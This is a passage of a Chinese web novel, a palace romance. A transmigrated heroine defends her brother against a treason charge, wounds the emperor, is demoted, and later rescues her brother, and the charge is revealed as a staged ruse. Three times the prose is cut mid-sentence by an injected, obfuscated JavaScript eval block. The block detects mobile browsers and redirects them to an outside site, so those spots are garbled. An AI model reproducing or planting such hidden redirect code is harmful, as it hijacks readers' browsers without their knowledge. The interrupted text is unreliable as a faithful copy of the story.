在夏星辰的注视下,尧显脸上的得意之色更甚:“风光无限的骁虎将军苏风逸,被查出通敌叛国;他与敌国互通来往的书信此刻已摆在了陛下的案桌上。陛下龙颜大怒,当即便命本王带领御林军抓捕苏风逸。” 说着,他忽的嗤笑一声,眼中满是嘲弄:“不愧是骁虎将军,性子猛烈,竟敢生出反抗之心,打伤了御林军,随之逃走;他这一逃,可是彻底断送了将军府其他人的活路。如今,陛下已下旨,将军府满门抄斩,一个不留!” 这番话使得夏星辰如遭雷击,浑身猛地一颤,脸色瞬间褪尽了血色。她不相信苏风逸会是行这般糊涂事的人,也不相信尧让会这般对待将军府。 “不......不可能!我兄长忠君爱国,怎么可能会通敌叛国?陛下不会下这种圣旨的,他不会的。”夏星辰声音高昂,似乎是觉得只要自己的声音足够大,这件事就一定是假的。 看到她这痛苦的表情,尧显低笑出声,他缓缓俯身,凑近她的耳畔:“苏清夕,他可是皇帝,自古皇帝多疑心这个道理你比本王懂吧?眼下,你还是担心你自己吧。满门抄斩,你也躲不过!这便是你背叛本王的下场,本王同你讲过,你选择倒戈相向,本王就一定会杀了你。” 温热的气息扫过她的耳畔,却让她浑身发冷:“或许你还真不了解苏风逸多有本事,年纪轻轻便被封为骁虎大将军,为国立下赫赫战功,麾下更是有着猛虎之称的风虎军,在战场上屡战屡胜,整个朝秦谁不知他最得民心。而我们的陛下,可不是什么念旧之人,他同先帝一般,用人存疑,就凭苏风逸功高盖主的嫌隙,足够有他死的理由了,所以,他是否通敌叛国,对于帝王来说完全不重要。” 夏星辰用力推开他,眼神坚定的说道:“陛下不会是这种人!” “那你就拿将军府所有人的性命去赌帝王的良心吧。” 话音刚落,他脸上的得意之色愈发张扬,目光轻蔑地扫了苏承一眼,冷声道:“来人!将罪臣苏承押送至廷尉狱,好生看管,等候发落。” “你敢!”夏星辰依然将苏承紧紧护在身后,不让御林军将他带走。 “明妃娘娘,下旨将将军府满门抄斩的是当今圣上,难不成你要抗旨?还是仗着自己的妃子身份藐视皇权?” 尧显上前一步,看着她,字字带着压迫:“失去圣恩的妃子,便等同于被打入冷宫;你的生死自然是由陛下定夺,可眼下,你不过是一个带罪之身,有什么权利阻止本王?” 说罢,他一把推开夏星辰,对着御林军扬声道:“你们还愣着做什么?把人带走!” “小夕,莫要担心爹,你顾好你自己。”苏承说这话时,眼中只剩下疼惜和无奈。 “爹!” 夏星辰僵在了原地,就这般眼睁睁地看着苏承强行被御林军押送离去,最后彻底消失在自己的视线中。 她知道古代的满门抄斩是什么意思,无措的感觉灌满了全身,让她身体发软,直接跌坐在地上,眼泪渐渐沾湿了脸颊。 只是难过了片刻,她便想出了解决之法。眼下,能破局的便是尧让!与他相处的这段时间,夏星辰根本无法相信尧让会是这样一个是非不分的帝王,这般有能力的帝王,怎会被‘功高盖主’这四个字冲昏理智、丧失思考能力。 可她本就是一个容易慌了阵脚的人,此时,她满脑子全是电视上看到的那种满门抄斩的片段,也害怕进了廷尉狱的苏承会被施于酷刑。 想到这,她即刻回了宫。一踏入皇宫,她便丝毫不敢停歇地往极咸宫赶去。 “娘娘,您......您怎么来了?” “本宫要见陛下!”她刚走到极咸宫外,却被林贤生生地拦住了。 林贤面露尴尬:“娘娘,陛下吩咐了,今日不见您,您回吧。” 夏星辰神情严肃,眼神异常坚定,语气中没有半分动摇:“林公公,劳烦你再向陛下通传一声,本宫必须见陛下一面。” “这......那娘娘先候着,奴才这便再去禀报一声。” 随即,林贤便转过身走进了殿内。但不过片刻,他便快步走了出来,脸上的尴尬之色更甚。 “娘娘,陛下说了,今日不见您,莫要再扰!”似乎是还有话还未说完,林贤清了下嗓子,为难的开口道:“另外,陛下说了,娘娘眼下是带罪之身,此番无诏前来极咸宫,已是有违宫规。” 听到这番话,夏星辰瞬间红了眼眶,语气急迫地恳求着:“林公公,你再去跟陛下说一声行不行?我爹年事已高,廷尉狱的酷刑他是遭不住的。” “娘娘,这是......这是圣意。”林贤声音越发的低。 “只能如此了?是吗?” 林贤点了点头,低声道:“娘娘,回去吧,事情总会解决的。” 既然如此,夏星辰没有硬闯进去。毕竟极咸宫殿外的林贤和御林军,以及那躲在暗处的百里,就凭她的本事,她又怎能单枪匹马闯得进去? 纵使林贤有意让她进去,一旦帝王龙颜大怒,恐怕,他们这些人就算有几个脑袋也不够掉的;更何况,她没想过要因为自己的事情牵连无辜之人。 “陛下!我就想问问原因。我哥哥苏风逸忠君爱国,绝对不可能通敌叛国的!你明明就知晓他并非是这种人!”夏星辰朝着极咸宫里的尧让喊道:“求陛下明鉴!” 极咸宫内始终静悄悄的,没有一丝回应。很明显,里面的帝王对她的话不为所动! 夏星辰内心已经慌不择路,她不知道除了找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个时辰过去了,天也逐渐黑了下来。雨势越来越大,狂风裹挟着雨水狠狠抽在她身上,她的头发早已经湿透,狼狈地贴在脸上,嘴唇冻得发紫,膝盖也早就麻木得失去了知觉,艰难地支撑着这副摇摇欲坠的身体。 每一次呼吸都带着颤抖,眼前阵阵发黑,可她依旧死死地盯着那扇紧闭的殿门,身体始终不肯倒下分毫。 的确!夏星辰是真的挺固执的。 终于,极咸宫的大门被缓缓推开。尧让一步步走了出来,他站在阶上,居高临下地看着跪在阶下的夏星辰。 “苏清夕,你当真是中邪了!朕还是第一次见你拼上性命也要维护将军府。”尧让的声音里没有温度:“你这般行径是无济于事的;朕把话同你讲明白,你今日便是跪死在这里,也改变不了任何事情。” 冰冷的雨水顺着她的发梢滴落,她费力地抬起头,视线因寒冷和虚弱而变得模糊不清。 夏星辰看着他,雨水混着泪水在脸上肆意地流淌,声音极其的嘶哑道:“你明明都知道!明明知道我兄长不可能是那样的人!可你不愿意去查明真相!什么书信往来?那些所谓的书信就不能是伪造的吗?” “苏家世代忠良,满门将士为国征战,怎么可能通敌叛国?这些,难道陛下你心里不清楚吗?”她死死地瞪着眼前的皇帝,雨水灌进她的口鼻,使她咳得浑身发颤,却依旧执拗地嘶吼着:“我兄长苏风逸在沙场杀敌无数,身上的伤疤比军功还多!他那样的一个人,怎么会通敌?怎么会!你告诉我啊!” 她大声地质问着,言语中带着满满的坚定。从始至终,她根本就不相信苏风逸是那样糊涂的人! “朕说他是,他就是!怎么?你质疑圣意?”尧让的声音甚是冷淡。 听着他的话,夏星辰的脑海里瞬间掠过的便是尧显对她所说的话。似乎是想通了一切,她苦笑道:“原来......原来这一切还真是因为那荒唐的缘由,原来,你果真是那样的人!” “哦?朕是什么样的人?朕也很好奇。” 33.弑君 她双手撑着身子慢慢地站起身,膝盖的麻木让她踉跄地往后退了几步。 夏星辰的声音已经嘶哑得几乎不成样子了,可她还是将每一句话,每一个字,尽量说得清楚,此时的她已经为了能证明苏风逸的清白,顾不上其他需要考量的问题:“我实在是想不通,像你这般有能力的帝王,为何也会轻信‘功高盖主’这四个字,你应当是比我还要了解我哥哥的,我以为你跟历代帝王不同。是我低估了你,低估你作为帝王的疑心!” 她一声声无力地咆哮着,声道因用力过猛而愈发产生剧痛,可她已然顾不上这些,继续嘶哑地说道:“即便是我爹已经将兵符交予你,依然证明不了他不会反叛的决心,即便我哥哥浴血奋战,守护疆土,依然无法摆脱被扣上功高盖主的脏水,你觉得他深得民心,觊觎你的帝位?” “你以为......谁都稀罕当皇帝吗?”最后这句话,夏星辰拼尽全力地喊了出来。也因为这用力一喊,直接咳出了一口血。 “放肆!苏清夕,你当真以为你命够硬是吗?”尧让怒气横生。 夏星辰看得出来他脸上的怒气和杀意,此刻她已然有了必死的决心,她死死地盯着他:“何必假惺惺,你不是本来就知道吗?将军府满门抄斩,我哪里有活下去的机会?即便是有,往后的日子里,我也会寻机会一次又一次地杀了你!” “好,很好!苏清夕,那朕便给你这个弑君的机会。”尧让冷漠的下达命令:“御林军听令,朕要你们全力以赴,将这个以下犯上的明妃当场诛杀,不得手下留情!” 说罢,他便将一杆长枪往夏星辰的方向抛去,而后者如以往那般稳稳接住了长枪。 “苏清夕,你莫要令朕失望啊!” 迫于尧让下的命令,御林军纷纷持起长枪,朝着夏星辰一拥而上。几杆长枪从不同的方向向她刺去,她勉强地轻跃起,落下之时,长枪还随着身体而旋转,将几名御林军手中的长枪击落。 但因跪了几个时辰的原因,她的身体早就无法支撑太久。在双脚实实在在接触地面的时候,突然发软,重重的跪在地上,随即只觉喉咙一痒,鲜血便跟着剧烈的咳嗽而再次吐了出来。 见状,御林军面面相觑,不知道该如何是好。他们在极咸宫当值了这么长时间,怎么会猜不透明妃娘娘对陛下的心意。 “陛……陛下,娘娘……娘娘身体太虚弱了,已然是万万撑不住了。”林贤小心翼翼劝道。 “撑不住了?当真?”尧让眼神冷淡地看着脸色苍白的夏星辰,语气没有任何温度:“若朕说,你要是能伤得了朕分毫,朕就下旨,饶了将军府满门性命,你可还撑得住?” 下一刻,果真如尧让所猜想得那般,夏星辰一手握着长枪,艰难站起身。虽然站起身时的身体还是摇摇晃晃,但她的目光却很坚定。 “当真?” 尧让冷笑一声,看着夏星辰如此下定决心的模样,他内心的愤怒早就被失落狠狠替代。 他不知是否该庆幸,庆幸自己没有轻易交出真心?庆幸自己没有与太子一般犯愚蠢的错? “当真!”言简意赅的两个字,他说出来时,黑金色龙袍下的手早就攥紧了。 夏星辰握紧手中的长枪,看着阶上眼神仍旧冷淡的尧让,哑声道:“对不起!” 御林军持着长枪再次朝她刺去,她以脑海中根深蒂固的长枪枪法,将围上来的御林军一一逼退,而后尽数将他们击倒在地。 在这空隙下,夏星辰再次轻跃起,手中的长枪直指阶上的尧让。 一旁的林贤立马走上前,挡在尧让身前。可下一秒,他却被身后的帝王猛地推开。 长枪将要刺去他的胸膛时,他一手抓住了枪杆,稍微一用力,便将握着长枪的夏星辰整个人往他身边拉去。 谁知夏星辰突然发力于长枪上,枪杆上发出的力道震得尧让忽的松开了手。他这一松手,便给了夏星辰杀他的机会…… 此时此刻,长枪在他的胸膛半寸的距离前停下,而握枪的人早已泪流满面。夏星辰从没想过,自己有一日会站在尧让的对立面。 在她还在犹豫不决时,身前的帝王突然冷笑开口:“心软了?心软可救不了任何人!” 下一刻,长枪忽的翻转,轻轻划伤了尧让的手臂。瞬间,鲜血浸染了黑金色的龙袍,可帝王的脸上却没显露出痛苦的表情,而是被失望取而代之。 “陛下!”林贤跑到他身边,抬起手捂住了手臂上的伤口,随后着急地大喊:“宣太医!” “苏清夕,你果真没令朕失望,如今倒会用朕教你的招式杀朕!” 夏星辰猛地丢掉手中的长枪,一把推开林贤,她边哭出声边用力捂住那道伤口渗出的血。 “对不起,对不起,尧让。” 伤害已经造成,夏星辰知道,无论自己说再多的对不起,此刻也已然于事无补。 看着捂着他的伤口哭得厉害的夏星辰,尧让并没有觉得内心得到一丝慰藉。突然,他将她推开,而本就虚弱无比的夏星辰,后背直接重重的撞在了柱子上,这一撞,她已然是没有一丝力气再去支撑自己的身体,只能无力的瘫坐在了地上。 尧让顾不上自己手臂的伤口,他蹲下身,看着她,一字一句道:“苏清夕,你说朕与太子心悦之人又有何不同?那朕倒要问问你,如今,究竟是谁仗着朕一次次的饶恕而变本加厉?是你吗?” “你与她一样,与紫烟一样,都是带着目的接近天家。你们口中的真心,以及那随意能说出口的喜欢,皆是你们玩弄情感的把戏。”尧让冷笑道:“说什么中邪?说什么洗心革面?无论你是因为什么原因入宫当妃子,在你中邪前,你满心满眼只有尧显,这些朕都可以不在乎。但你中邪后,无论何时何地,你满心满眼都永远不会是朕,你永远从未信朕!” “好险啊......朕差点就被你骗了!”说这句话时,他的眼眶瞬间红透了,可眼眶里的泪水执着地一滴没落下。 “可苏风逸是我哥哥,将军府是我家啊。” 尧让缓缓站起身,苦笑出声,随即带着怒火吼道:“是啊,他是你兄长,将军府是你家。那朕呢?你可知朕是你夫君?你有过一刻替朕着想吗?若苏风逸当真是通敌叛国,你这般对朕,是把朕放于何地?” 夏星辰仍旧带着沙哑的声音嘶哑的开口:“我哥哥是不可能通敌叛国的!” “林贤,传朕旨意!”尧让冷声道:“骁虎将军苏风逸通敌叛国,按律当斩!念及将军府满门忠烈,为国立下赫赫战功的情分上,饶恕无关之人性命。” “是!” “另,明妃苏清夕以下犯上,弑君之罪昭然。但念及苏老将军仅剩一女的份上,饶其性命。即刻起,褫夺其明妃封号,贬为庶人,终身不得入宫闱半步!” 林贤震惊的看着尧让,欲言又止道:“陛下......这......” “怎么?连你现在也要违抗朕的旨意?”尧让冰冷的眸子看向林贤。 林贤低下头:“奴才不敢!奴才这就去办。” “慢着!”夏星辰双手撑着地面,尝试站起身;见她如此艰难之举,林贤走到她身边,将她扶起。 她迈着小步伐走到尧让的身边,神情极为的委屈:“尧让,你的意思是......你不要我了?” “在你决定要弑君的时候,可曾在意这个事情?” 看着尧让一副决绝的模样,委屈瞬间转变成了埋怨,她质问道:“你好不讲道理!你明知我此举是为了救将军府,证明我哥哥的清白,你明知我本意并非如此。你命御林军斩杀我的时候,你可曾对我念及旧情?” 她顿了顿,抬手粗暴地擦拭掉脸上的泪水,继续道:“你是皇帝,三妻六妾,后宫的嫔妃为讨得你的圣恩争风吃醋。陛下,我与你不一样!你可以有很多妻子,但我却只有你一个夫君,这公平吗?” “你这是在指责朕?” “我不敢指责陛下,我只是希望陛下明白,我不仅只有你一个夫君,我也只有一个哥哥,一个父亲。你让我在其中做选择,便是直接要我性命!” 夏星辰的脸上布满了泪水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林贤犹豫再三,仍旧开了口:“陛下,奴才七岁就跟着您了,陛下喜欢什么?厌恶什么?今日心情是喜是怒,奴才若连这些都不知晓,还真是要领罚了。” 尧让轻叹了口气,便放松了身体,半躺在软榻上,缓缓闭上了眼睛:“可有时候,朕自己都不了解自己。林贤。你说,若是当年,朕没有自作主张去学武,会不会结局就不一样了?他就不会遇人不淑,也就不会丢了性命?” “若这般,那陛下和太子都活不了。”林贤的语气甚是笃定。 “是啊,一个不受待见的五皇子,和一个满脑子全是仁义道德,却无半点手段的太子,的确......会死于夺嫡之争啊!” 说着,他不禁笑出了声,笑声里夹杂着讽刺之意:“说太子没手段吧,他倒还挺聪明,以一己之力结束了这夺嫡之争。连朕都没想到,他不知何时让父皇改了遗诏;更是自以为是的给朕铺好了登帝之路。” “温润如玉的太子,能用到的聪明和手段全使在朕身上了。”那些被他刻意遗忘的记忆再次涌上心头:“明知道朕多喜自由,也明知道朕不愿困于高墙之内,他还是不管不顾的撒了手,当真是个骗子!当真是个懦夫!” 话音刚落,一滴泪悄悄划过了脸颊......与此同时,两个少年站在高耸的宫墙前的画面浮现在他脑海里。 “太子皇兄,我长大了想去这高墙外面看看。” “好。”温润如玉的尧乙微微一笑:“那你就肆意地去做你喜欢做的,本宫护你一生!哪怕是惹下了麻烦,本宫都会给你解决一切。” “太子皇兄对阿让最好了!” 画面一转...... 怀中不断吐血的人紧紧地攥住尧让的衣襟,哭着哀求道:“阿让,皇兄求求你,替皇兄杀了他们......好不好?” “好,阿让替你杀了他们。” “对不起!阿让,皇兄怕是要失约了。” 尧让怎样也没想到,自己杀敌无数的长剑有一日会沾染上自己至亲之人的血......就在那一日,他失去了两个能‘庇护’他的至亲。 留下的只有手段狠厉的残暴帝王...... 34.心意相通之人 “都昏睡了三日了,怎么还没醒?唐太医,你再给看看。”站于床榻边的苏承看着还在昏睡的夏星辰,满脸担忧地说道。 “娘娘就是受了寒,再加上体虚,这才没醒。” 昏睡的夏星辰只觉得耳边有点嘈杂,她缓缓睁开了眼。一旁的贴身侍女见状,开心地说道:“娘娘醒了。” 一听到这话,苏承连忙走上前,看着脸色依旧苍白的夏星辰,温声地问道:“小夕,你怎么样了?可有好些?” “爹,我好渴啊。” “快拿水过来。”苏承接过侍女递过来的水,轻轻将夏星辰扶起身。看着她慢慢喝了些水下去,悬着的心也总算是放下了。 “爹,我这是怎么了?” “你在宫里晕过去了,是陛下命人送你回将军府;你都昏睡三日了。” “三日?”夏星辰想到了尧让所下的那道将她贬为庶人的圣旨,语气略带慌张地问道:“爹,陛下可曾来过?” 苏承摇了摇头:“将军府现在乃是罪臣亲系,陛下怎会来呢?” “既然娘娘已醒,那老臣就回宫复命了。”唐太医躬身后便转身走了出去。 夏星辰看着太医离去的背影,内心憋屈极了。她越来越猜不懂尧让,若说他对自己当真是无情无义,又怎会让太医来将军府给自己诊治;若说他的心意与自己是相同的,可是却在一次一次无形之中将自己推开。 毕竟是皇帝,毕竟是怕自己会落得与太子一般的下场。所以,从始至终,他也从未相信过她,在他心里,她与太子心悦之人并无区别。 想到这,夏星辰重重叹了口气。若事情无法得到解决,她便也不再去想这件事,眼下,最重要的还是苏风逸的事情。 “爹,哥哥的事情究竟是怎么回事啊?还有那封与敌国互通来往的书信又是怎么回事?”她脸上的表情带着慌张,仿佛苏承的回答能稳住她摇摇欲坠的心神。 苏承无奈叹息了一声,这声叹息中裹挟着他半生戎马都未曾有过的疲惫与恐慌,他望着堂中悬挂着‘忠勇之将’的匾额:“别说你想知道这其中原委,爹也很想知道,那逆子究竟是发生了什么?” “难不成......真如尧显所说的那般?陛下他因功高盖主......”萌生出这个念头的时候,夏星辰神色明显慌张了一下,她这就已经坐实了尧让会因此而赶尽杀绝的罪名了? 就在她失去理智般的做着思想斗争时,一声坚定的声音传入了她耳中。 “不可能!”苏承毫不犹豫推翻了她的猜测,信誓旦旦地开口:“且不说陛下与你兄长自总角时便结下情谊,就凭他们一同经历的生死,是断然不可能做出伤害对方的事情!什么功高盖主?你当真以为陛下真在乎这个荒谬的说辞?论沙场征战、权谋决断,谁的武功和功绩能在陛下之上?” 说着,苏承冷笑一声:“即便是你兄长麾下的那风虎军,加上爹兵符下的苏家军,这些都不足以与陛下豢养的禁军抗衡,咱们陛下可精明得很呢!功高盖主?真是荒唐至极。” 他的话虽狠厉,可言语之中尽是对尧让的欣赏与佩服之意。 尧让的武功高强这一点的确是毋庸置疑的。毕竟,夏星辰是亲自领教过的,她的本事也是他教的。 “我们的陛下还真是隐藏得够深呢,感觉无论如何,都猜不出他的心思。” “年少时的陛下可并非这般暗藏心中所想,只要是他想要的,先皇后和太子都会满足他。”苏承忽的叹了口气:“可一夕之间,就只剩下了自己,撑起了这江山。” “原来陛下和太子的关系竟这般好?”夏星辰之前是听过苏风逸所讲的皇家秘密,但牵涉到皇家颜面,再加上当时被突如其来的尧让打断,她后来便没仔细打听过了。 自然也不知晓尧让和太子的关系如何? 苏承像是回忆起了什么,他的声音低了几分:“何止是好,太子可是将陛下视作为亲弟弟般疼爱,先皇后对二人也是如获至宝般对待,而当时的太子的确是位难得一见的仁君,若无意外,储君必然是他。” “既然已经是板上钉钉的事情,为何太子要重用宦官?” “这一切的最大变故便是因一个舞姬。”苏承看向夏星辰,缓缓开口:“这舞姬性格温和,更是弹得一手好琴,渐渐地便俘获了太子的爱慕。从那时起,太子便整日沉迷其中,还听从了舞姬的所谓谏言,重用了宦官。” 从苏承口中听到这个舞姬时,夏星辰再联想起了尧让对自己的态度,试探性地问道:“那个舞姬后来真害死了太子?” 苏承点点头:“不仅仅是太子,还有那些拥护太子的朝臣,顷刻之间,太子的权力瞬间瓦解了,先帝当时也对太子失望至极,险些废黜。” “那后来......是当今陛下接替了太子?” “太子死后,先皇后便因伤心过度,加上本就已是强弩之末的身体,也在同一日薨逝了。从那日起,当今陛下,也就是当时的五皇子彻底变了个人,他趁着先帝因病昏睡时,骑着战马,持着长剑,杀进了万和宫,将为首的李植德等宦官腰斩在了殿中。” “当时谁都没想到,不受待见的五皇子竟有如此血性,手段也如此狠厉。”说罢,苏承拿过夏星辰手中的空杯,站起身去倒满了水,继而道:“而下场最惨的无疑是那舞姬,陛下将她双手双脚废了,剜了双眼,舌头拔了,头颅也砍了,最后还将她的家人也都杀了。” 夏星辰瞬间什么都明白了,明白了为何自己百般讨好,尧让总是一次一次将她推开,为何无论自己怎么表露自己的忠心,他也宁愿相信她是有意而为之,也明白了为何他会在意她因苏风逸而选择伤害他。 一切都解释得通了,她这样费尽心思的撩拨他,在他看来,这就是虚情假意。所以,夏星辰想要攻略一个这样的帝王,简直是不可能的! 这样的人,绝对不会是个‘恋爱脑’。 “那时,陛下以一己之力清洗了整个朝堂。本来先帝就一直痛恨宦官权倾朝野,所以并未追究陛下所行之事,反而在最后,将皇位传给了陛下。” 苏承说完话,将手中接满水的杯子放在她手里,神色平和道:“小夕啊,爹其实也有怀疑过你是不是有意接近陛下的,毕竟,你发生的改变实在是太大了。以前的你,是绝对不可能为了他人,做有损自己利益之事,你是一个只爱自己的人。” “我其实一直都不是那样的人。”夏星辰低下了头,她的声音很小,生怕苏承因此看穿她并非是苏清夕。 “但这才是将军府嫡女啊!即便是小夕真的中邪了,亦或者洗心革面,爹甚是喜欢小夕如今的变化。”苏承宠溺的握住夏星辰的手,轻叹道:“爹不知陛下对你的心意,但,身为臣子,爹能理解陛下所担忧的,你能明白吗?” 夏星辰缓缓抬起头,泪眼婆娑地看着苏承,委屈道:“爹,你也觉得我对尧让的喜欢是虚情假意的?” “陛下所经历的与寻常男子不同。”苏承认真且严肃地开口:“没有一个帝王会拿江山去赌一个不确定的将来。‘重蹈覆辙’这四个字太沉重了,以陛下的个性,他宁愿错杀,也不会让自己涉险。” “可我与那舞姬不同,我没有要伤害尧让,从来都没想过。为什么你们就是不相信我?”夏星辰哭出了声:“我究竟要怎么证明?爹,我要怎么证明啊?” “与你心意相通之人,无需你证明。”苏承神情严肃地说道:“眼下,你平安就好。” 夏星辰苦笑了一声,抬手擦拭自己脸颊上的泪水:“是啊,平安就好。反正我也没什么身份再去百般讨好。” “你......你这是何意?” “陛下已经下了一道圣旨,褫夺我的封号,贬为庶人,终身不得踏入宫闱。” “为何会下这道圣旨?难不成,是因为你兄长的事情?” 夏星辰摇摇头:“不是,是我持着长枪伤了陛下。” 苏承瞪大双眼:“你伤了陛下?” “是。”夏星辰简单地回答了一个字,脸上尽是满满的失落。 苏承没有继续追问这其中的原委,他只是轻轻拍了拍她的手背,安慰道:“无论如何,爹都有本事将小夕养得好好的,实在不行,爹再给寻一个长得极其好看的男子,可好?” “好。”她勉强挤出了一个笑容,但那牵强之意还是被苏承看穿了,可他也并未拆穿。 从皇宫中回到将军府已经过去了一月有余,这些时日,夏星辰一直跟随着苏承四处打听苏风逸的下落。为此,苏承还调动了手下的将士,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732399|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们务必寻到苏风逸。 “老将军,老将军,寻到将军了。”一名将士急迫的声音打破了将军府的寂静。 正在用晚膳的苏承和夏星辰听到声音,立即站起身走到门口。 “你方才说寻到风逸了?”苏承语气激动地问道。 “是!将军此时就在京都外二十里的破庙内,只是......只是事情没那么简单,除了陛下派去的御林军,还有一批不知从何处来的蒙面杀手,人数众多。”将士声音发颤道。 “那我哥哥怎么样了?” 将士边喘着粗气边说道:“将军暂时无事,他命属下先回来报平安,让老将军和明妃娘娘勿担心。” 话音刚落,将士瞬间瘫坐在地,鲜血从袖口里缓缓流出。见状,夏星辰扬声喊道:“府医,快来。” 下人们将将士扶下去之后,苏承便带上自己的佩剑欲要往外面走去,刚迈出一步,就被夏星辰站在身前拦了下来。 “爹,让我去寻哥哥吧。你身上的旧疾不知犯了多少次,哪经得住奔波厮杀?你放心吧,我定能将哥哥带回来。” 苏承语气又急又气:“胡闹!你那三脚猫功夫,怎会是他人的对手?” “我怎么会是三脚猫的功夫?”夏星辰得意的开口:“我这武功可是陛下手把手教的,他夸赞过我的。” “这......” 夏星辰没有给他再啰嗦的机会,直接握着长枪跑了出去,直至骑上了马,才传来声音:“放心吧,爹。” 马蹄在夜色下疾驰,夏星辰伏在马背上,长枪斜斜倚在肩头。不过半个时辰,二十里外的那座破寺庙已近在眼前。 她刚勒住缰绳,就见庙门前的苏风逸和另外一人正在极力击退蒙面杀手。 “哥哥!”夏星辰从马上飞身跃下,足尖落地的瞬间,她握住长枪,将身前的两名杀手击倒,顺势来到苏风逸身旁。 “小夕,你怎么来了?”话落,苏风逸持着长剑,直接贯穿了直扑过来的杀手胸膛。 “爹让我寻你。” “黑狸,保护大小姐。”苏风看向一旁勇猛厮杀的手下,开口吩咐道。 “是,主子。” 三人拼尽全力击倒了一个又一个杀手,总算是得到了片刻的喘息,他们喘着粗气,这也意味着他们体力不支了。 庙后突然传来沉重的脚步声,三人猛地回头,只见数十名蒙面杀手从暗处涌出...... 夏星辰紧握着长枪的手微微发颤,方才激战已经耗去了大半的力气。尧让所教给她的枪法虽然用得娴熟,但毕竟才练了短短数月,哪里敌得过这些在生死场里磨炼出来的杀手? 随着为首的一声令下,杀手们纷纷朝着三人冲了上来。黑狸体力耗尽,被一名杀手砍伤了手臂,在他持着长剑抗衡时,另外一名杀手抬起手中的剑直直向他砍去。 下一刻,一杆长枪先一步穿过了那杀手的肩胛,将他狠狠地钉在了断墙上。夏星辰快速拔出长枪,转过身再挥出一枪,击倒了黑狸身前的杀手。 “多......多谢大小姐。” 除了苏风逸,夏星辰和黑狸几乎已经无法再战斗了,二人互相背靠背喘着气。几名杀手趁着二人喘气之余,欲要夺性命之时,数支黑羽箭精准贯穿了杀手们的咽喉。 二人惊讶地抬眼,只见庙顶上立着一个身影,狰狞丑陋的野兽面具泛着阴森,手中的长弓仍然蓄满力道。没等众人反应过来,又是几箭射出,转瞬之间,又有几名杀手栽倒在地。 下一刻,那人从庙顶跃下。没等夏星辰缓过神,手中的长枪就已经被他夺去。 夏星辰眼睁睁看着那人持枪而立,手中的长枪好似一条毒蛇,每一次都能精准刺穿杀手的脖颈,杀伤力如此猛烈的枪法,竟然比尧让教她的还要凌厉三分。 不过片刻,围上来的杀手几乎尽数被斩杀,剩下的二人望着那杆染血的长枪,竟吓得不敢再上前。他们见势不妙,转而跑进密林,那人不慌不忙,将手中的长枪,猛地往前一抛。 只听见一声闷响,长枪已然贯穿了二人的身体,将他们硬生生串在了一起,钉在了一棵老槐树上。 苏风逸走到那人身前,刚要开口,那人却先一步冷声说道:“此地不宜久留,先离开。” 35.好一出戏啊 马车稳稳地停在将军府门口,他们刚踏进府内,苏承便急忙地迎了上来。直到看到苏风逸,他既担心又生气道:“你这逆子,究竟做了些什么?” “爹,此事我会慢慢跟您解释。” “是啊,爹。眼下,先传府医过来吧,哥哥他们都受伤了。”夏星辰此时还搀扶着受伤的黑狸,开口说道。 苏承看了一眼苏风逸身上的一些小伤口,慌忙地点点头:“对对对,府医。” 大堂内,府医正在仔细地给苏风逸处理伤口;而夏星辰本就精通医术,便自顾自地给黑狸处理起了伤口。 “去熬点麻沸散。”夏星辰看了一眼婢女,吩咐道。 “大小姐还精通医术呢。” 府医的话刚说完,苏风逸和苏承也投来了疑惑的目光。 “呃......在皇宫学的。” 听到这解释,苏风逸他们也不再有所怀疑,点了点头。 坐在主位上的面具人,视线落在夏星辰为黑狸处理伤口上,但也只是静静地看着,并没说些什么。 “你把这个喝了,然后我要帮你缝伤口。” 黑狸接过夏星辰手中的那碗药,没做犹豫便喝了下去,随即开口道:“多谢大小姐。” 下一刻,夏星辰就认真地缝合着伤口,她的速度极快,不过片刻,便已然缝好了。 苏风逸突然看向一直盯着夏星辰看的面具人,这才想起了什么,便站起身,躬身说道:“陛下!” “陛下?”夏星辰抬起头,将目光落在面具人身上。 在众人疑惑的眼神中,面具人抬手将面具摘下,正是尧让那张俊俏且带着疏离感的脸。 “见过陛下!”苏承和黑狸也纷纷躬身行礼。 夏星辰后知后觉才反应过来,连忙站起身,躬身道:“臣妾......臣女见过陛下!” 既然那道将她贬为庶人的圣旨已下,按照规矩,她的确是不适合再以臣妾自称。 “在外,就无需拘谨了。”说完,尧让顺手拿起桌上的茶杯,将茶水一饮而尽。 一个多月未见,他身上的距离感倒是越发的浓烈,自从他将她送出皇宫的那一刻,她就已经失去留在他身边的资格。夏星辰本身也不是什么喜欢纠缠的人,既然他对她无半分信任,不纠缠,便是最好的保住性命的方法。 “陛下,逆子绝对不会通敌叛国的,望陛下明鉴。”苏承忽的跪下恳求道。 “老将军起身吧。”尧让看了一眼苏风逸,开口道:“让苏风逸自己跟你解释吧。” 苏风逸走上前,将苏承扶起身,解释道:“爹,此事说来话长,总而言之,通敌叛国这件事,是我和陛下的谋略。” “谋略?”苏承和夏星辰异口同声说道。 “之前逃走的那帮阉人一直躲在暗处蠢蠢欲动,而我们查到了他们皆为朝中某个势力卖命;此次的计谋便是想借此引出幕后之人,可即便死了这么多人,那幕后之人迟迟未现身。”苏风逸望着夏星辰和苏承困惑的眼神,眼底满是愧疚:“总之,这一切就是一出戏。” “一出戏?好一出戏啊!”夏星辰冷笑道:“哥哥,你知不知道我和爹日日都在担心你,生怕......” 